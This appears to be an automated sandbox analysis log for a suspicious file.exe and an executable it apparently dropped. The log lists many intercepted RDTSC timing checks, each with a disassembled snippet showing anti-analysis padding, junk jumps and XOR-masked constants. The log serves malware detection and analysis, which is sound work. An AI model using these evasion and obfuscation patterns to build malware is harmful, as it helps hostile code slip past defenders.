Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5300237 second address: 5300264 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB424D52649h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FB424D5263Dh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5300264 second address: 530026A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 530026A second address: 530026E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 530026E second address: 530027D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 530027D second address: 5300281 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5300281 second address: 5300285 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5300285 second address: 530028B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 530028B second address: 53002A8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FB4247A5769h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5300300 second address: 5300312 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FB424D5263Eh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5300312 second address: 5300316 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5300316 second address: 5300367 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ecx 0x00000009 pushad 0x0000000a jmp 00007FB424D5263Ah 0x0000000f pushfd 0x00000010 jmp 00007FB424D52642h 0x00000015 and ah, FFFFFFD8h 0x00000018 jmp 00007FB424D5263Bh 0x0000001d popfd 0x0000001e popad 0x0000001f mov dword ptr [esp], ebp 0x00000022 push eax 0x00000023 push edx 0x00000024 jmp 00007FB424D52645h 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5300367 second address: 53003C4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov edi, 4FECFC02h 0x00000008 pushfd 0x00000009 jmp 00007FB4247A5763h 0x0000000e sub ax, 6EFEh 0x00000013 jmp 00007FB4247A5769h 0x00000018 popfd 0x00000019 popad 0x0000001a pop edx 0x0000001b pop eax 0x0000001c mov ebp, esp 0x0000001e push eax 0x0000001f push edx 0x00000020 pushad 0x00000021 call 00007FB4247A5763h 0x00000026 pop ecx 0x00000027 mov edi, 3D8D713Ch 0x0000002c popad 0x0000002d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 795943 second address: 79595A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB424D52643h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79595A second address: 795960 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5300409 second address: 530040F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 530040F second address: 5300413 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5300413 second address: 530044C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jmp 00007FB424D52646h 0x0000000e xchg eax, ebp 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007FB424D52647h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 530044C second address: 5300452 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5300452 second address: 5300456 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5300539 second address: 5300556 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 movzx ecx, bx 0x00000009 popad 0x0000000a call 00007FB4956D9205h 0x0000000f push 762327D0h 0x00000014 push dword ptr fs:[00000000h] 0x0000001b mov eax, dword ptr [esp+10h] 0x0000001f mov dword ptr [esp+10h], ebp 0x00000023 lea ebp, dword ptr [esp+10h] 0x00000027 sub esp, eax 0x00000029 push ebx 0x0000002a push esi 0x0000002b push edi 0x0000002c mov eax, dword ptr [762C0140h] 0x00000031 xor dword ptr [ebp-04h], eax 0x00000034 xor eax, ebp 0x00000036 push eax 0x00000037 mov dword ptr [ebp-18h], esp 0x0000003a push dword ptr [ebp-08h] 0x0000003d mov eax, dword ptr [ebp-04h] 0x00000040 mov dword ptr [ebp-04h], FFFFFFFEh 0x00000047 mov dword ptr [ebp-08h], eax 0x0000004a lea eax, dword ptr [ebp-10h] 0x0000004d mov dword ptr fs:[00000000h], eax 0x00000053 ret 0x00000054 push eax 0x00000055 push edx 0x00000056 jmp 00007FB4247A575Ch 0x0000005b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5300556 second address: 530057B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movsx edx, si 0x00000006 jmp 00007FB424D5263Ah 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e and dword ptr [ebp-04h], 00000000h 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 jmp 00007FB424D5263Ah 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 530057B second address: 530058A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB4247A575Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 530058A second address: 53005A2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FB424D52644h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53005A2 second address: 53005A6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53005A6 second address: 5300603 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov edx, dword ptr [ebp+0Ch] 0x0000000b pushad 0x0000000c pushfd 0x0000000d jmp 00007FB424D5263Dh 0x00000012 jmp 00007FB424D5263Bh 0x00000017 popfd 0x00000018 movzx eax, dx 0x0000001b popad 0x0000001c mov esi, edx 0x0000001e push eax 0x0000001f push edx 0x00000020 pushad 0x00000021 push eax 0x00000022 pop ebx 0x00000023 pushfd 0x00000024 jmp 00007FB424D52648h 0x00000029 adc esi, 003DB668h 0x0000002f jmp 00007FB424D5263Bh 0x00000034 popfd 0x00000035 popad 0x00000036 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5300603 second address: 530062A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ax, di 0x00000006 mov esi, edi 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov al, byte ptr [edx] 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007FB4247A5768h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 530062A second address: 5300630 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5300630 second address: 5300634 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5300634 second address: 5300643 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 inc edx 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5300643 second address: 5300649 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5300649 second address: 530064F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 530064F second address: 5300653 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5300653 second address: 530066E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 test al, al 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FB424D5263Dh 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 530066E second address: 5300674 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5300674 second address: 5300679 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5300679 second address: 530062A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov ax, 91FFh 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jne 00007FB4247A56DAh 0x00000011 mov al, byte ptr [edx] 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007FB4247A5768h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53006AC second address: 5300716 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FB424D52641h 0x00000009 or esi, 08DA8606h 0x0000000f jmp 00007FB424D52641h 0x00000014 popfd 0x00000015 pushfd 0x00000016 jmp 00007FB424D52640h 0x0000001b or ah, FFFFFFA8h 0x0000001e jmp 00007FB424D5263Bh 0x00000023 popfd 0x00000024 popad 0x00000025 pop edx 0x00000026 pop eax 0x00000027 mov edi, dword ptr [ebp+08h] 0x0000002a push eax 0x0000002b push edx 0x0000002c jmp 00007FB424D52645h 0x00000031 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5300716 second address: 530075D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB4247A5761h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 dec edi 0x0000000a jmp 00007FB4247A575Eh 0x0000000f lea ebx, dword ptr [edi+01h] 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 push edx 0x00000016 pop eax 0x00000017 call 00007FB4247A5769h 0x0000001c pop ecx 0x0000001d popad 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 530075D second address: 5300763 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5300763 second address: 5300767 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5300767 second address: 530079F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov al, byte ptr [edi+01h] 0x0000000b jmp 00007FB424D52644h 0x00000010 inc edi 0x00000011 jmp 00007FB424D52640h 0x00000016 test al, al 0x00000018 push eax 0x00000019 push edx 0x0000001a push eax 0x0000001b push edx 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 530079F second address: 53007A3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53007A3 second address: 53007C0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB424D52649h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53007C0 second address: 53007C6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53007C6 second address: 53007EB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB424D52643h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jne 00007FB495C7A8D6h 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53007EB second address: 53007EF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53007EF second address: 53007F3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53007F3 second address: 53007F9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53007F9 second address: 5300842 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FB424D52648h 0x00000009 or si, 5078h 0x0000000e jmp 00007FB424D5263Bh 0x00000013 popfd 0x00000014 mov si, FBAFh 0x00000018 popad 0x00000019 pop edx 0x0000001a pop eax 0x0000001b mov ecx, edx 0x0000001d push eax 0x0000001e push edx 0x0000001f jmp 00007FB424D52641h 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5300842 second address: 5300848 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5300848 second address: 530084C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 530084C second address: 53008AE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB4247A5763h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b shr ecx, 02h 0x0000000e pushad 0x0000000f mov edi, ecx 0x00000011 mov ebx, ecx 0x00000013 popad 0x00000014 rep movsd 0x00000016 rep movsd 0x00000018 rep movsd 0x0000001a rep movsd 0x0000001c rep movsd 0x0000001e pushad 0x0000001f mov ecx, 5F3A6F6Fh 0x00000024 call 00007FB4247A5764h 0x00000029 jmp 00007FB4247A5762h 0x0000002e pop ecx 0x0000002f popad 0x00000030 mov ecx, edx 0x00000032 push eax 0x00000033 push edx 0x00000034 jmp 00007FB4247A575Ch 0x00000039 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53008AE second address: 5300939 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FB424D52641h 0x00000009 sub ah, FFFFFFE6h 0x0000000c jmp 00007FB424D52641h 0x00000011 popfd 0x00000012 pushfd 0x00000013 jmp 00007FB424D52640h 0x00000018 sbb si, E388h 0x0000001d jmp 00007FB424D5263Bh 0x00000022 popfd 0x00000023 popad 0x00000024 pop edx 0x00000025 pop eax 0x00000026 and ecx, 03h 0x00000029 pushad 0x0000002a pushfd 0x0000002b jmp 00007FB424D52644h 0x00000030 jmp 00007FB424D52645h 0x00000035 popfd 0x00000036 mov si, 65D7h 0x0000003a popad 0x0000003b rep movsb 0x0000003d pushad 0x0000003e pushad 0x0000003f pushad 0x00000040 popad 0x00000041 push eax 0x00000042 push edx 0x00000043 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5300939 second address: 53009F9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007FB4247A5762h 0x0000000a popad 0x0000000b mov dword ptr [ebp-04h], FFFFFFFEh 0x00000012 pushad 0x00000013 pushfd 0x00000014 jmp 00007FB4247A575Dh 0x00000019 jmp 00007FB4247A575Bh 0x0000001e popfd 0x0000001f popad 0x00000020 mov eax, ebx 0x00000022 pushad 0x00000023 mov ecx, edi 0x00000025 popad 0x00000026 mov ecx, dword ptr [ebp-10h] 0x00000029 pushad 0x0000002a mov ecx, edx 0x0000002c popad 0x0000002d mov dword ptr fs:[00000000h], ecx 0x00000034 pushad 0x00000035 pushfd 0x00000036 jmp 00007FB4247A5767h 0x0000003b jmp 00007FB4247A5763h 0x00000040 popfd 0x00000041 pushfd 0x00000042 jmp 00007FB4247A5768h 0x00000047 add eax, 23E681C8h 0x0000004d jmp 00007FB4247A575Bh 0x00000052 popfd 0x00000053 popad 0x00000054 pop ecx 0x00000055 push eax 0x00000056 push edx 0x00000057 jmp 00007FB4247A5765h 0x0000005c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53009F9 second address: 53009FF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53009FF second address: 5300A03 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5300A03 second address: 5300A25 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop edi 0x00000009 jmp 00007FB424D5263Fh 0x0000000e pop esi 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 mov ax, dx 0x00000015 mov eax, ebx 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5300A25 second address: 5300A5C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB4247A5768h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ebx 0x0000000a jmp 00007FB4247A5760h 0x0000000f leave 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 mov ax, bx 0x00000016 push ebx 0x00000017 pop ecx 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5300A5C second address: 5300A71 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FB424D52641h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5300A71 second address: 5300539 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 retn 0008h 0x0000000b cmp dword ptr [ebp-2Ch], 10h 0x0000000f mov eax, dword ptr [ebp-40h] 0x00000012 jnc 00007FB4247A5755h 0x00000014 push eax 0x00000015 lea edx, dword ptr [ebp-00000590h] 0x0000001b push edx 0x0000001c call esi 0x0000001e push 00000008h 0x00000020 jmp 00007FB4247A575Eh 0x00000025 push 09639A63h 0x0000002a jmp 00007FB4247A5761h 0x0000002f xor dword ptr [esp], 7F49864Bh 0x00000036 pushad 0x00000037 push eax 0x00000038 push edx 0x00000039 pushfd 0x0000003a jmp 00007FB4247A575Ah 0x0000003f sub eax, 7395EA88h 0x00000045 jmp 00007FB4247A575Bh 0x0000004a popfd 0x0000004b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5300B45 second address: 5300B4B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5300B4B second address: 5300B4F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5300B4F second address: 5300BD2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB424D5263Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c pushad 0x0000000d pushad 0x0000000e pushfd 0x0000000f jmp 00007FB424D52643h 0x00000014 sub ax, 667Eh 0x00000019 jmp 00007FB424D52649h 0x0000001e popfd 0x0000001f pushfd 0x00000020 jmp 00007FB424D52640h 0x00000025 xor ax, 8978h 0x0000002a jmp 00007FB424D5263Bh 0x0000002f popfd 0x00000030 popad 0x00000031 popad 0x00000032 push eax 0x00000033 push eax 0x00000034 push edx 0x00000035 jmp 00007FB424D52644h 0x0000003a rdtsc
Source: C:\Users\user\DocumentsDAFBGHCAKK.exe	RDTSC instruction interceptor: First address: FDF07A second address: FDF09A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 push eax 0x00000008 pushad 0x00000009 jmp 00007FB4247A5764h 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\DocumentsDAFBGHCAKK.exe	RDTSC instruction interceptor: First address: 1146600 second address: 114660A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push edx 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\DocumentsDAFBGHCAKK.exe	RDTSC instruction interceptor: First address: 114660A second address: 1146621 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 jmp 00007FB4247A575Fh 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\DocumentsDAFBGHCAKK.exe	RDTSC instruction interceptor: First address: 114EDA7 second address: 114EDB1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007FB424D52636h 0x0000000a rdtsc
Source: C:\Users\user\DocumentsDAFBGHCAKK.exe	RDTSC instruction interceptor: First address: 114EDB1 second address: 114EDC1 instructions: 0x00000000 rdtsc 0x00000002 je 00007FB4247A5756h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b push edi 0x0000000c push eax 0x0000000d push edx 0x0000000e push ebx 0x0000000f pop ebx 0x00000010 rdtsc
Source: C:\Users\user\DocumentsDAFBGHCAKK.exe	RDTSC instruction interceptor: First address: 114EDC1 second address: 114EDD1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 je 00007FB424D5263Ch 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\DocumentsDAFBGHCAKK.exe	RDTSC instruction interceptor: First address: 114F23C second address: 114F241 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\DocumentsDAFBGHCAKK.exe	RDTSC instruction interceptor: First address: 114F537 second address: 114F53C instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\DocumentsDAFBGHCAKK.exe	RDTSC instruction interceptor: First address: 114F649 second address: 114F651 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\DocumentsDAFBGHCAKK.exe	RDTSC instruction interceptor: First address: 114F651 second address: 114F657 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsDAFBGHCAKK.exe	RDTSC instruction interceptor: First address: 114F657 second address: 114F672 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push edx 0x00000006 jmp 00007FB4247A5763h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\DocumentsDAFBGHCAKK.exe	RDTSC instruction interceptor: First address: 114F672 second address: 114F67A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\DocumentsDAFBGHCAKK.exe	RDTSC instruction interceptor: First address: 114F67A second address: 114F680 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsDAFBGHCAKK.exe	RDTSC instruction interceptor: First address: 1152722 second address: 1152726 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsDAFBGHCAKK.exe	RDTSC instruction interceptor: First address: 1152726 second address: 11527B7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FB4247A5761h 0x0000000b popad 0x0000000c xor dword ptr [esp], 504AE3A0h 0x00000013 push 00000003h 0x00000015 jmp 00007FB4247A575Ah 0x0000001a jnc 00007FB4247A575Ch 0x00000020 push 00000000h 0x00000022 jmp 00007FB4247A575Bh 0x00000027 push 00000003h 0x00000029 mov edi, dword ptr [ebp+122D357Ch] 0x0000002f push FC5BAADCh 0x00000034 pushad 0x00000035 push esi 0x00000036 jne 00007FB4247A5756h 0x0000003c pop esi 0x0000003d push edx 0x0000003e ja 00007FB4247A5756h 0x00000044 pop edx 0x00000045 popad 0x00000046 xor dword ptr [esp], 3C5BAADCh 0x0000004d mov dword ptr [ebp+122D2CE7h], ebx 0x00000053 lea ebx, dword ptr [ebp+124475E7h] 0x00000059 mov dx, 27D1h 0x0000005d xchg eax, ebx 0x0000005e push edi 0x0000005f push edi 0x00000060 js 00007FB4247A5756h 0x00000066 pop edi 0x00000067 pop edi 0x00000068 push eax 0x00000069 push eax 0x0000006a push edx 0x0000006b pushad 0x0000006c jo 00007FB4247A5756h 0x00000072 push eax 0x00000073 push edx 0x00000074 rdtsc
